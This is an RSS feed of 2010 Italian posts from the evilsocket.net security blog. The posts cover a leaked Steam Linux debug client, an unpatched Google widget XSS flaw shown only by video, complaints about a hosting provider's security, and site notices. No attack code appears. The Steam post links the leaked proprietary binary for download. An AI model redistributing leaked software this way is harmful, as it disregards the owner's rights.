
<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>evilsocket.net</title>
	<atom:link href="http://www.evilsocket.net/feed" rel="self" type="application/rss+xml" />
	<link>http://www.evilsocket.net</link>
	<description>If you can't understand it, it doesn't mean it's wrong ...</description>
	<lastBuildDate>Wed, 04 Aug 2010 16:23:03 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>Steam Linux Beta Client Leaked &amp; Hacked</title>
		<link>http://www.evilsocket.net/1530/steam-linux-beta-client-leaked-hacked.html</link>
		<comments>http://www.evilsocket.net/1530/steam-linux-beta-client-leaked-hacked.html#comments</comments>
		<pubDate>Wed, 04 Aug 2010 16:23:03 +0000</pubDate>
		<dc:creator>evilsocket</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Programmazione]]></category>
		<category><![CDATA[Reversing]]></category>
		<category><![CDATA[beta]]></category>
		<category><![CDATA[C]]></category>
		<category><![CDATA[classes]]></category>
		<category><![CDATA[client]]></category>
		<category><![CDATA[debug]]></category>
		<category><![CDATA[debug info]]></category>
		<category><![CDATA[hacked]]></category>
		<category><![CDATA[leaked]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[objdump]]></category>
		<category><![CDATA[source]]></category>
		<category><![CDATA[source code]]></category>
		<category><![CDATA[steam]]></category>

		<guid isPermaLink="false">http://www.evilsocket.net/?p=1530</guid>
		<description><![CDATA[E già da un po che in giro si sente tanto parlare della versione GNU/Linux della piattaforma di gioco Steam, che dovrebbe essere in fase di sviluppo e rilasciata in data da definirsi. Nonostante questo, sul wiki di supporto del sito steampowered si legge : Il client di Steam è una applicazione pensata per Windows, [...]


Related posts:<ol><li><a href='http://www.evilsocket.net/883/perche-ho-scelto-arch-linux.html' rel='bookmark' title='Permanent Link: Perchè ho scelto Arch Linux'>Perchè ho scelto Arch Linux</a></li>
<li><a href='http://www.evilsocket.net/1004/redis-client-library-for-hybris.html' rel='bookmark' title='Permanent Link: Redis client library for Hybris'>Redis client library for Hybris</a></li>
<li><a href='http://www.evilsocket.net/949/hybris-1-0-beta-strutture-e-primo-passo-per-loo.html' rel='bookmark' title='Permanent Link: Hybris 1.0 beta, strutture e primo passo per l&#8217;OO'>Hybris 1.0 beta, strutture e primo passo per l&#8217;OO</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.evilsocket.net/wp-content/uploads/2010/08/steam_logo.jpg"><img class="alignleft size-full wp-image-1531" title="steam_logo" src="http://www.evilsocket.net/wp-content/uploads/2010/08/steam_logo.jpg" alt="" width="120" height="96" /></a>E già da un po che in giro si sente tanto parlare della versione GNU/Linux della piattaforma di gioco <a href="http://it.wikipedia.org/wiki/Steam_(informatica)" target="_blank">Steam</a>, che dovrebbe essere in fase di sviluppo e rilasciata in data da definirsi.</p>
<p>Nonostante questo, sul wiki di supporto del sito steampowered si legge :</p>
<blockquote><p>Il client di Steam è una applicazione pensata per Windows, e al momento non è pianificata la creazione di un client di Steam nativo per Linux.</p></blockquote>
<p>Qualche giorno fa mi sono messo alla ricerca di informazioni in proposito ed indovinate cosa ho trovato ?!</p>
<p><span id="more-1530"></span>L&#8217;eseguibile della versione di sviluppo di Steam per Linux!</p>
<p>Ma la cosa molto, ma molto più interessante è che, tale eseguibile (del quale non conosco assolutamente la provenienza, ma sembrerebbe una versione &#8220;leaked&#8221;) sembrerebbe essere una versione di debug, ovvero un eseguibile che *teoricamente* sarebbe dovuto rimanere nella ristretta cerchia degli sviluppatori addetti.</p>
<p>Come posso affermare con certezza questa cosa?</p>
<p>Facile, ci sono due motivazioni principali :</p>
<ul>
<li>Ho personalmente disassemblato il file prima di eseguirlo, nel caso fosse un virus, un fake o cose simili &#8230; e posso dire al 100% che si tratta proprio del client Steam.</li>
<li>Il file in questione, <strong>è pieno di informazioni di debug</strong> che ne rivelano la natura.</li>
</ul>
<p>Ed è questo secondo punto quello più interessante.</p>
<p>Il compilatore GCC, tramite alcuni flag di compilazione, è in grado di integrare diverse informazioni sui sorgenti all&#8217;interno del binario stesso.</p>
<p>Tali informazioni servono solitamente durante il debugging dell&#8217;eseguibile, in modo tale da mostrare nomi di funzioni, classi e metodi in stile C/C++ invece che in stile assembly.</p>
<p>Il binario di Steam, è pieno zeppo di queste info, al punto che un bravo reverser (quindi non io XD) potrebbe trarre informazioni preziosissime da un eventuale analisi.</p>
<p>Di conseguenza, pubblico :</p>
<p>Uno screenshot tanto per farvi capire di che parlo :</p>
<p><a href="http://www.evilsocket.net/wp-content/uploads/2010/08/steam.png"><img class="aligncenter size-medium wp-image-1532" title="steam" src="http://www.evilsocket.net/wp-content/uploads/2010/08/steam-300x235.png" alt="" width="300" height="235" /></a></p>
<p>Una <a href="http://www.megaupload.com/?d=9OJAA41X" target="_blank">lista delle info di debug</a> ricavate tramite objdump .</p>
<p>E per infinire, ovviamente, il <a href="http://www.megaupload.com/?d=KK4G5QB1" target="_blank">binario in questione</a> <img src='http://www.evilsocket.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Spero che qualche bravo ricercatore possa trarne molte più informazioni di quante non ne ho ricavate io che, purtroppo, mi diletto solamente a tempo perso in questo genere di analisi.</p>
<p>Questo è tutto, fatemi sapere se avete info e/o suggerimenti ^^</p>

                            <div id="aspdf">
                                <a href="http://www.evilsocket.net/wp-content/plugins/as-pdf/generate.php?post=1530">
                                    <span> </span>
                                </a>
                            </div>
                        <img src="http://www.evilsocket.net/?ak_action=api_record_view&id=1530&type=feed" alt="" />

<p>Related posts:<ol><li><a href='http://www.evilsocket.net/883/perche-ho-scelto-arch-linux.html' rel='bookmark' title='Permanent Link: Perchè ho scelto Arch Linux'>Perchè ho scelto Arch Linux</a></li>
<li><a href='http://www.evilsocket.net/1004/redis-client-library-for-hybris.html' rel='bookmark' title='Permanent Link: Redis client library for Hybris'>Redis client library for Hybris</a></li>
<li><a href='http://www.evilsocket.net/949/hybris-1-0-beta-strutture-e-primo-passo-per-loo.html' rel='bookmark' title='Permanent Link: Hybris 1.0 beta, strutture e primo passo per l&#8217;OO'>Hybris 1.0 beta, strutture e primo passo per l&#8217;OO</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.evilsocket.net/1530/steam-linux-beta-client-leaked-hacked.html/feed</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>Informazione di Servizio, FeedBurner</title>
		<link>http://www.evilsocket.net/1525/informazione-di-servizio-feedburner.html</link>
		<comments>http://www.evilsocket.net/1525/informazione-di-servizio-feedburner.html#comments</comments>
		<pubDate>Mon, 02 Aug 2010 15:28:33 +0000</pubDate>
		<dc:creator>evilsocket</dc:creator>
				<category><![CDATA[Misc]]></category>
		<category><![CDATA[feed]]></category>
		<category><![CDATA[feedburner]]></category>
		<category><![CDATA[feeds]]></category>
		<category><![CDATA[rss]]></category>

		<guid isPermaLink="false">http://www.evilsocket.net/?p=1525</guid>
		<description><![CDATA[Altra informazione di servizio. Da ora, i feed rss di questo blog saranno gestiti tramite FeedBurner, per la precisione all&#8217;indirizzo : http://feeds.feedburner.com/evilsocket-dot-net Come è possibile vedere ho aggiunto al menu superiore un icona tramite la quale è possibile accedere al burner ed iscriversi. Prego gli eventuali utenti che fin&#8217;ora seguivano i feed direttamente tramite il [...]


No related posts.]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.evilsocket.net/wp-content/uploads/2010/08/feedburner-logo.png"><img class="alignleft size-medium wp-image-1526" title="feedburner-logo" src="http://www.evilsocket.net/wp-content/uploads/2010/08/feedburner-logo-279x300.png" alt="" width="167" height="180" /></a>Altra informazione di servizio.</p>
<p>Da ora, i feed rss di questo blog saranno gestiti tramite FeedBurner, per la precisione all&#8217;indirizzo :</p>
<blockquote>
<p style="text-align: center;"><a href="http://feeds.feedburner.com/evilsocket-dot-net">http://feeds.feedburner.com/evilsocket-dot-net</a></p>
</blockquote>
<p>Come è possibile vedere ho aggiunto al menu superiore un icona tramite la quale è possibile accedere al burner ed iscriversi.</p>
<p>Prego gli eventuali utenti che fin&#8217;ora seguivano i feed direttamente tramite il generatore del blog, di aggiornare i loro reader con il nuovo indirizzo così da permettermi di monitorare eventuali iscrizioni, cilck, trick &amp; track, bim-bum-bam, ecc <img src='http://www.evilsocket.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Grazie</p>

                            <div id="aspdf">
                                <a href="http://www.evilsocket.net/wp-content/plugins/as-pdf/generate.php?post=1525">
                                    <span> </span>
                                </a>
                            </div>
                        <img src="http://www.evilsocket.net/?ak_action=api_record_view&id=1525&type=feed" alt="" />

<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://www.evilsocket.net/1525/informazione-di-servizio-feedburner.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Informazione di Servizio, Chiave Pubblica</title>
		<link>http://www.evilsocket.net/1375/informazione-di-servizio-chiave-pubblica.html</link>
		<comments>http://www.evilsocket.net/1375/informazione-di-servizio-chiave-pubblica.html#comments</comments>
		<pubDate>Mon, 19 Jul 2010 23:47:34 +0000</pubDate>
		<dc:creator>evilsocket</dc:creator>
				<category><![CDATA[Misc]]></category>
		<category><![CDATA[gpg]]></category>
		<category><![CDATA[key]]></category>
		<category><![CDATA[public key]]></category>

		<guid isPermaLink="false">http://www.evilsocket.net/?p=1375</guid>
		<description><![CDATA[In questi giorni ho avuto la necessità di scambiare email cifrate con una persona, la quale ha avuto difficoltà a reperire la mia chiave pubblica gpg per autenticare e decifrare i miei messaggi. Di conseguenza ho aggiunto sulla colonna di destra un link alla suddetta chiave, così chiunque abbia la necessità di dialogare con me [...]


Related posts:<ol><li><a href='http://www.evilsocket.net/1126/script-per-il-calcolo-della-chiave-wpa-nei-router-fastweb-pirelli.html' rel='bookmark' title='Permanent Link: Script per il calcolo della chiave WPA dei router FastWeb Pirelli.'>Script per il calcolo della chiave WPA dei router FastWeb Pirelli.</a></li>
<li><a href='http://www.evilsocket.net/1173/script-per-il-calcolo-della-chiave-wpa-dei-router-alice-gate-voip-2-plus-wi-fi.html' rel='bookmark' title='Permanent Link: Script per il calcolo della chiave WPA dei router Alice Gate VoIP 2 Plus Wi-Fi'>Script per il calcolo della chiave WPA dei router Alice Gate VoIP 2 Plus Wi-Fi</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.evilsocket.net/wp-content/uploads/2010/07/lock.png"><img class="alignleft size-full wp-image-1374" title="lock" src="http://www.evilsocket.net/wp-content/uploads/2010/07/lock.png" alt="" width="128" height="128" /></a>In questi giorni ho avuto la necessità di scambiare email cifrate con una persona, la quale ha avuto difficoltà a reperire la mia chiave pubblica gpg per autenticare e decifrare i miei messaggi.</p>
<p>Di conseguenza ho aggiunto sulla colonna di destra un link alla suddetta chiave, così chiunque abbia la necessità di dialogare con me in maniera sicura e confidenziale potrà facilmente reperire i dati necessari.</p>
<p>Passo e chiudo.</p>

                            <div id="aspdf">
                                <a href="http://www.evilsocket.net/wp-content/plugins/as-pdf/generate.php?post=1375">
                                    <span> </span>
                                </a>
                            </div>
                        <img src="http://www.evilsocket.net/?ak_action=api_record_view&id=1375&type=feed" alt="" />

<p>Related posts:<ol><li><a href='http://www.evilsocket.net/1126/script-per-il-calcolo-della-chiave-wpa-nei-router-fastweb-pirelli.html' rel='bookmark' title='Permanent Link: Script per il calcolo della chiave WPA dei router FastWeb Pirelli.'>Script per il calcolo della chiave WPA dei router FastWeb Pirelli.</a></li>
<li><a href='http://www.evilsocket.net/1173/script-per-il-calcolo-della-chiave-wpa-dei-router-alice-gate-voip-2-plus-wi-fi.html' rel='bookmark' title='Permanent Link: Script per il calcolo della chiave WPA dei router Alice Gate VoIP 2 Plus Wi-Fi'>Script per il calcolo della chiave WPA dei router Alice Gate VoIP 2 Plus Wi-Fi</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.evilsocket.net/1375/informazione-di-servizio-chiave-pubblica.html/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Informazione di Servizio, now PDF powered :)</title>
		<link>http://www.evilsocket.net/1307/informazione-di-servizio-now-pdf-powered.html</link>
		<comments>http://www.evilsocket.net/1307/informazione-di-servizio-now-pdf-powered.html#comments</comments>
		<pubDate>Wed, 14 Jul 2010 01:24:24 +0000</pubDate>
		<dc:creator>evilsocket</dc:creator>
				<category><![CDATA[Misc]]></category>
		<category><![CDATA[export]]></category>
		<category><![CDATA[info]]></category>
		<category><![CDATA[pdf]]></category>
		<category><![CDATA[plugin]]></category>

		<guid isPermaLink="false">http://www.evilsocket.net/?p=1307</guid>
		<description><![CDATA[Informazione di servizio Un utente in uno dei commenti mi ha chiesto di riscrivere uno dei miei articoli (nella fattispecie l&#8217;ultimo sulle sql injections) e dare la possibilità di scaricarlo in PDF come facevo prima di aprire questo blog. In effetti, non è che mi vada più di tanto ogni volta di rifare lo stesso [...]


Related posts:<ol><li><a href='http://www.evilsocket.net/1014/nuova-funzione-load-come-realizzare-in-poche-righe-un-sistema-di-plugin.html' rel='bookmark' title='Permanent Link: Nuova funzione load, come realizzare in poche righe un sistema di plugin'>Nuova funzione load, come realizzare in poche righe un sistema di plugin</a></li>
<li><a href='http://www.evilsocket.net/764/wp-sentinel-pubblicato.html' rel='bookmark' title='Permanent Link: WP-Sentinel Pubblicato'>WP-Sentinel Pubblicato</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.evilsocket.net/wp-content/uploads/2010/07/pdf-su-cellulari-android.jpg"><img class="alignleft size-full wp-image-1310" title="pdf-su-cellulari-android" src="http://www.evilsocket.net/wp-content/uploads/2010/07/pdf-su-cellulari-android.jpg" alt="" width="180" height="180" /></a>Informazione di servizio <img src='http://www.evilsocket.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Un utente in uno dei commenti mi ha chiesto di riscrivere uno dei miei articoli (nella fattispecie l&#8217;ultimo sulle sql injections) e dare la possibilità di scaricarlo in PDF come facevo prima di aprire questo blog.</p>
<p>In effetti, non è che mi vada più di tanto ogni volta di rifare lo stesso articoli sia in html che in pdf, così ho installato un plugin per wordpress e l&#8217;ho modificato a puntino.</p>
<p>E&#8217; ora possibile, tramite l&#8217;apposito link sotto al titolo, esportare ogni articolo in PDF, spero sia una funzionalità utile ^^</p>
<p>PS: Le modifiche al plugine  la grafica con la quale viene generato il pdf sono ancora sperimentali, man mano che avrò tempo e voglia perfezionerò il tutto.</p>

                            <div id="aspdf">
                                <a href="http://www.evilsocket.net/wp-content/plugins/as-pdf/generate.php?post=1307">
                                    <span> </span>
                                </a>
                            </div>
                        <img src="http://www.evilsocket.net/?ak_action=api_record_view&id=1307&type=feed" alt="" />

<p>Related posts:<ol><li><a href='http://www.evilsocket.net/1014/nuova-funzione-load-come-realizzare-in-poche-righe-un-sistema-di-plugin.html' rel='bookmark' title='Permanent Link: Nuova funzione load, come realizzare in poche righe un sistema di plugin'>Nuova funzione load, come realizzare in poche righe un sistema di plugin</a></li>
<li><a href='http://www.evilsocket.net/764/wp-sentinel-pubblicato.html' rel='bookmark' title='Permanent Link: WP-Sentinel Pubblicato'>WP-Sentinel Pubblicato</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.evilsocket.net/1307/informazione-di-servizio-now-pdf-powered.html/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Come hackerare Google e rimanere indisturbato per un anno.</title>
		<link>http://www.evilsocket.net/1296/come-hackerare-google-e-rimanere-indisturbato-per-un-anno.html</link>
		<comments>http://www.evilsocket.net/1296/come-hackerare-google-e-rimanere-indisturbato-per-un-anno.html#comments</comments>
		<pubDate>Sun, 11 Jul 2010 17:06:25 +0000</pubDate>
		<dc:creator>evilsocket</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Web Hacking]]></category>
		<category><![CDATA[auth]]></category>
		<category><![CDATA[cookie]]></category>
		<category><![CDATA[csrf]]></category>
		<category><![CDATA[emanuele gentili]]></category>
		<category><![CDATA[emgent]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[hacked]]></category>
		<category><![CDATA[video]]></category>
		<category><![CDATA[widget]]></category>
		<category><![CDATA[widgets]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://www.evilsocket.net/?p=1296</guid>
		<description><![CDATA[Circa un anno fa, per la precisione il 13 maggio 2009, postai sul blog questo articolo (il video è corrotto, quello fixato lo troverete qui sotto), nel quale dimostravo senza alcuna ombra di dubbio come Google, attraverso il sistema di pubblicazione dei widgets, fosse estremamente vulnerabile ad attacchi di tipo XSS, CSRF e quant&#8217;altro si possa [...]


Related posts:<ol><li><a href='http://www.evilsocket.net/64/google-hacking.html' rel='bookmark' title='Permanent Link: Google Hacking'>Google Hacking</a></li>
<li><a href='http://www.evilsocket.net/1024/google-0-io-1.html' rel='bookmark' title='Permanent Link: Google : 0, Io : 1'>Google : 0, Io : 1</a></li>
<li><a href='http://www.evilsocket.net/936/hybris-memory-lookup-now-google-powered.html' rel='bookmark' title='Permanent Link: Hybris memory lookup, now Google powered!!!'>Hybris memory lookup, now Google powered!!!</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.evilsocket.net/wp-content/uploads/2010/07/google_hack1.jpg"><img class="alignleft size-medium wp-image-1299" title="google_hack1" src="http://www.evilsocket.net/wp-content/uploads/2010/07/google_hack1-300x224.jpg" alt="" width="180" height="134" /></a>Circa un anno fa, per la precisione il 13 maggio 2009, postai sul blog <a href="http://www.evilsocket.net/64/google-hacking.html" target="_blank">questo articolo</a> (il video è corrotto, quello fixato lo troverete qui sotto), nel quale dimostravo senza alcuna ombra di dubbio come Google, attraverso il sistema di pubblicazione dei widgets, fosse estremamente vulnerabile ad attacchi di tipo XSS, CSRF e quant&#8217;altro si possa fare potendo eseguire codice javascript nella pagina stessa di Google.</p>
<p>Ebbene, è passato più di un anno, Google sicuramente avrà subito tantissimi cambiamenti sia a livello grafico che a livello di funzionalità, eppure questo problema non è ancora stato patchato.</p>
<p><span id="more-1296"></span>Qui di seguito trovate il mio video, chiedo scusa per la bassa qualità ma quello originale è stato danneggiato tra un backup e l&#8217;altro, così il meglio che ho potuto fare è stato scaricarne la versione mp4 da youtube, dove un ragazzo che non conosco ha postato lo stesso video in bassa definizione.</p>
<p><center><br />
<object width="400" height="300"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="movie" value="http://vimeo.com/moogaloop.swf?clip_id=13248215&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" /><embed src="http://vimeo.com/moogaloop.swf?clip_id=13248215&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="400" height="300"></embed></object>
<p><a href="http://vimeo.com/13248215">Hacking Google 13 May 2009</a> from <a href="http://vimeo.com/user2113367">evilsocket</a> on <a href="http://vimeo.com">Vimeo</a>.</p>
<p></center></p>
<p>Poi, qualche tempo fa, mi sono imbattuto in un <a href="http://vimeo.com/11441059" target="_blank">altro video</a>, postato su Vimeo da <a href="http://www.backtrack.it/~emgent/" target="_blank">Emanuele Gentili</a>, il quale mostra sostanzialmente la stessa vulnerabilità.</p>
<p>Il buon emgent, noto per la sua politica di responsible disclousure, ha immediatamente scritto al team tecnico di Google &#8230; e cosa gli hanno risposto ?</p>
<blockquote><p>Si, è vero, è un bug, ma non sappiamo come patchare.. hai qualche suggerimento?</p></blockquote>
<p>Perfetto, non solo in più di un anno non è cambiato nulla, non solo questa vulnerabilità potrebbe essere sfruttata in scenari praticamente infiniti, ma lo staff di Google si permette anche di rispondere così!</p>
<p>Che dire &#8230; bah! -.-</p>

                            <div id="aspdf">
                                <a href="http://www.evilsocket.net/wp-content/plugins/as-pdf/generate.php?post=1296">
                                    <span> </span>
                                </a>
                            </div>
                        <img src="http://www.evilsocket.net/?ak_action=api_record_view&id=1296&type=feed" alt="" />

<p>Related posts:<ol><li><a href='http://www.evilsocket.net/64/google-hacking.html' rel='bookmark' title='Permanent Link: Google Hacking'>Google Hacking</a></li>
<li><a href='http://www.evilsocket.net/1024/google-0-io-1.html' rel='bookmark' title='Permanent Link: Google : 0, Io : 1'>Google : 0, Io : 1</a></li>
<li><a href='http://www.evilsocket.net/936/hybris-memory-lookup-now-google-powered.html' rel='bookmark' title='Permanent Link: Hybris memory lookup, now Google powered!!!'>Hybris memory lookup, now Google powered!!!</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.evilsocket.net/1296/come-hackerare-google-e-rimanere-indisturbato-per-un-anno.html/feed</wfw:commentRss>
		<slash:comments>17</slash:comments>
		</item>
		<item>
		<title>Accettato nello staff di LQH :D</title>
		<link>http://www.evilsocket.net/1274/accettato-nello-staff-di-lqh-d.html</link>
		<comments>http://www.evilsocket.net/1274/accettato-nello-staff-di-lqh-d.html#comments</comments>
		<pubDate>Fri, 09 Jul 2010 00:53:20 +0000</pubDate>
		<dc:creator>evilsocket</dc:creator>
				<category><![CDATA[Misc]]></category>

		<guid isPermaLink="false">http://www.evilsocket.net/?p=1274</guid>
		<description><![CDATA[Tempo fa feci richiesta per entrare nello staf dei cosìdetti &#8220;utenti esperti&#8221; di Linux Quality Help, mi è piaciuto fin da subito l&#8217;obiettivo che si sono preposti quei ragazzi, così come la struttura e l&#8217;andazzo del forum &#8230; dopo tanto tempo in cui non partecipavo ad un forum informatico attivamente, trovare un posto così è [...]


No related posts.]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft" src="http://www.linuxqualityhelp.it/supporto/styles/prosilver/imageset/site_logo.gif" alt="" width="128" height="128" />Tempo fa feci richiesta per entrare nello staf dei cosìdetti &#8220;utenti esperti&#8221; di <a href="http://www.linuxqualityhelp.it/" target="_blank">Linux Quality Help</a>, mi è piaciuto fin da subito l&#8217;obiettivo che si sono preposti quei ragazzi, così come la struttura e l&#8217;andazzo del forum &#8230; dopo tanto tempo in cui non partecipavo ad un forum informatico attivamente, trovare un posto così è stata una boccata d&#8217;aria fresca ^^</p>
<p>Beh, ieri sera mi è arrivato un PM &#8230; sono stato accettato nello staff!</p>
<p>Inutile dire che per me è un onore ed un piacere, spero di poter apportare un contributo effettivo alla comunity e a tutte le persone che vogliono passare a GNU/Linux e hanno la necessità di un supporto competente.</p>
<p>Non posso fare molto per la FSF, ma quel poco lo farò al 100% delle mie capacità! <img src='http://www.evilsocket.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>

                            <div id="aspdf">
                                <a href="http://www.evilsocket.net/wp-content/plugins/as-pdf/generate.php?post=1274">
                                    <span> </span>
                                </a>
                            </div>
                        <img src="http://www.evilsocket.net/?ak_action=api_record_view&id=1274&type=feed" alt="" />

<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://www.evilsocket.net/1274/accettato-nello-staff-di-lqh-d.html/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Tophost perde il pelo ma non il vizio.</title>
		<link>http://www.evilsocket.net/1264/tophost-perde-il-pelo-ma-non-il-vizio.html</link>
		<comments>http://www.evilsocket.net/1264/tophost-perde-il-pelo-ma-non-il-vizio.html#comments</comments>
		<pubDate>Thu, 08 Jul 2010 15:42:11 +0000</pubDate>
		<dc:creator>evilsocket</dc:creator>
				<category><![CDATA[Misc]]></category>
		<category><![CDATA[fraud]]></category>
		<category><![CDATA[frode]]></category>
		<category><![CDATA[pessimo servizio]]></category>
		<category><![CDATA[tophost]]></category>
		<category><![CDATA[truffa]]></category>

		<guid isPermaLink="false">http://www.evilsocket.net/?p=1264</guid>
		<description><![CDATA[Chi di voi mi segue da tempo, sa che prima di questo blog c&#8217;era un CMS scritto da me ed un forum, e che il tutto girava su tophost, &#8220;noto&#8221; provider italiano di web hosting a prezzi stracciati. Più di un anno fa, precisamente il 10 Febbraio 2009, scrivevo questo sul forum prozone : Premetto [...]


No related posts.]]></description>
			<content:encoded><![CDATA[<p style="text-align: left;"><a href="http://www.evilsocket.net/wp-content/uploads/2010/07/tophost.jpg"><img class="size-full wp-image-1267 aligncenter" title="tophost" src="http://www.evilsocket.net/wp-content/uploads/2010/07/tophost.jpg" alt="" width="400" height="119" /></a>Chi di voi mi segue da tempo, sa che prima di questo blog c&#8217;era un CMS scritto da me ed un forum, e che il tutto girava su tophost, &#8220;noto&#8221; provider italiano di web hosting a prezzi stracciati.</p>
<p><span id="more-1264"></span></p>
<p>Più di un anno fa, precisamente il 10 Febbraio 2009, scrivevo questo sul forum prozone :</p>
<blockquote><p>Premetto innanzitutto che questo post non vuole e non deve essere una critica gratuita e inutile al suddetto provider, bensì spero sia una spintarella un po + violenta del normale per migliorarsi e migliorare i servizi offerti agli utenti/clienti .</p>
<p>Più di un anno fa, decisi di acquistare un dominio su tophost dati i prezzi annuali estremamente vantaggiosi e le poche pretese in termini di spazio web del mio portale .<br />
Inizialmente l&#8217;esperienza fu diciamo normale, niente di che, ma poi ho subito iniziato a riscontrare problemi sia per quanto riguarda il lato tecnico dell infrastruttura tophost, sia quello umano, quindi mi accingo a riportarvi una piccola serie di aneddoti tanto per farvi capire perchè, secondo me s&#8217;intende, <strong>un utente non dovrebbe affidarsi a tophost</strong> .</p>
<p><strong>Aneddoto 1</strong><br />
Essendo un programmatore di professione, specializzato nella sicurezza delle infrastrutture informatiche e nei cosiddetti penetration tests (o hacking etico se vogliamo), mi sono da subito preoccupato di fare alcuni test sulla struttura tanto per capire quanto il mio sito avesse &#8220;le spalle coperte&#8221; da eventuali sistemi di sicurezza del provider.<br />
Bene, nell&#8217;arco di 30 minuti di test (che tra l&#8217;altro non avrei nemmeno dovuto fare io, ma il personale di tophost), ho scoperto diverse vulnerabilità nel sistema tophost che in pratica consentivano ad una persona qualsiasi di avere accesso ad ogni dato di ogni cliente, a partire dagli accessi ai domini fino ad arrivare alle info anagrafiche e/o bancarie del singolo cliente .<br />
Ca**o penso io, è gravissima sta cosa, va bene che sono umani e come tali soggetti ad errori, ma un provider prima di pubblicare i propri servizi dovrebbe come minimo essere sicuro al <strong>100%</strong> che almeno il <strong>proprio</strong> portale sia sicuro, xkè è proprio la che ho trovato queste falle .<br />
Vabbè, procedo nell&#8217;apertura di un ticket dove spiego tutto sperando che risolvino il problema &#8230; il risultato ? Una sola delle varie falle è stata <strong>risolta parzialmente</strong> nell&#8217;arco di <strong>due mesi</strong> (mettendo a repentaglio tutto e tutti), una delle altre falle, è stata risolta solo di recente, quindi a distanza di + di un anno, le altre stanno ancora la .<br />
Ora io mi chiedo, <strong>sono loro ad essere incompetenti o gliene frega così poco della sicurezza dei loro clienti da far passare + di un anno per risolvere un problema così grave</strong> ?</p>
<p><strong>Aneddoto 2</strong><br />
Come già detto, essendo un programmatore, mi diverto a scrivermi le funzionalità del mio portale da solo, senza ricorrere a soluzioni già pre confezionate &#8230; tanto per fare un esempio (perchè per questo aneddoto potrei riportarne almeno una decina solo sul mio sito, a centinaia se parliamo anche dei siti di amici sempre su tophost), mi sono scritto una piccola chat in php+ajax, molto leggera e dinamica tanto per aggiungere un po + di interazione al mio sito .<br />
Ebbene, sapete cosa succede ? Se ci sono + di due utenti che usano la chat contemporaneamente si blocca tutto il sito ed esce fuori il maledetto messaggio (e sono sicuro che anche altri lo conoscono fin troppo bene) &#8220;<strong>Rate Limit Exceeded</strong>&#8221; .<br />
Vale a dire &#8220;<strong>we ragazzo, hai appena saturato la banda che ti diamo, quindi ti blocchiamo tutto</strong>&#8221; &#8230;. ma che ca**o ?!?!?<br />
Cioè mi volete dire che un traffico di meno di 1KB ogni 5 secondi satura la banda ? E che è i nostri domini sono hostati su un tostapane ?!?!?<br />
Beh, mi dico sempre da programmatore scrupoloso, magari è il mio script ad avere qualche difetto, tant&#8217;è vero che leggo nelle FAQ di tophost che questa anomalia si riscontra solo nel caso di wep applications fatte male &#8230; e invece no ! fatalità ogni altro software php che ho installato da questo problema !!! Mi volete dire che tutti i software del mondo, collaudati da centinaia di migliaia di utenti in tutto il mondo, sono scritto male ? Ma va ! -.-<br />
E il bello qual&#8217;è ? Insieme a me, dozzine di altri clienti hanno da sempre richiesto di avere + banda, e ogni singolo ticket aperto in proposito è stato <strong>volutamente ignorato</strong> !</p>
<p><strong>Aneddoto 3</strong><br />
Su un altro mio dominio (ovviamente non ne riporto i link per non spammare, ma all&#8217;occorrenza posso fornire tutti i dati per far vedere che ho prove concrete di quello che dico), avevo installato, tra i vari servizi, un insieme di script in php che permettevano agli utenti di navigare siti internet in modo anonimo, utilizzando il mio stesso sito, in pratica un proxy in php .<br />
